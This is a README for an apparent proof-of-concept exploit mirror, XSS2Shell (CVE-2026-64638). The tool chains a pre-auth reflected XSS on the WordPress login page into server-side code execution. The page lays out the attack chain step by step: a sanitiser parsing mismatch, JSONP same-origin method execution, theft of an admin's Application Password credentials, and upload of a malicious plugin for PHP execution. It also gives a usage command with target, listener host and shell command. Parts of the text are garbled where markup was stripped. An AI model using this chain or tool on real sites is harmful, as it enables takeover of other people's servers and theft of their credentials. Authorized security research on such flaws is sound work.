hackspeak/cve-2026-64638XSS2Shell (CVE-2026-64638) WordPress pre-auth XSS to RCE PoC mirror — WordSec, MIT; for authorized security testing
HackSpeak distribution mirror. This repository is a distribution mirror of the educational XSS2Shell PoC (CVE-2026-64638) released by WordSec, with code identical to upstream; upstream is MIT License, Copyright (c) 2026 WordSec.
⚠️ For security research and authorized testing only; run only against WordPress sites you own or have written authorization to assess. The PoC creates and cleans up temporary posts; do not target third-party administrators or production systems.
XSS2Shell (CVE-2026-64638) is a pre-auth reflected XSS on the WordPress login page (wp-login.php) that can be escalated through a complete chain to server-side PHP code execution (RCE).
strip_tags() and WordPress KSES (wp_kses_post()) — inserting a space between < and the tag name (e.g., < area) makes the former preserve it as plain text while the latter parses it as a valid HTML element (// are all on the allowlist);<area><div><button>ajaxurl → the login page's built-in user-profile.js automatically triggers a jQuery POST → REST API JSONP (_jsonp) → Same Origin Method Execution (SOME, Paulos Yibelo 2022) → cross-window click on the admin's Application Password authorization button → steal API credentials → publish a page containing <script> → upload a malicious plugin ZIP → PHP executes directly (no activation required);python3 xss2shell_poc.py -t http://wordpress.test --lhost 192.168.1.100 --lport 8080 -c "whoami"
| Parameter | Description |
|---|---|
-t, --target | WordPress base URL (with http/https; trailing slash normalized automatically) |
-c, --command | Command to execute once the shell is ready |
--lhost / --lport | Listen address/port (lport 0 = random) |
--keep | Keep the temporary post (cleaned up by default) |
Dependencies: Python 3.7+, zero third-party packages; requires an admin to be logged into the target site and open the attacker's URL (one interaction).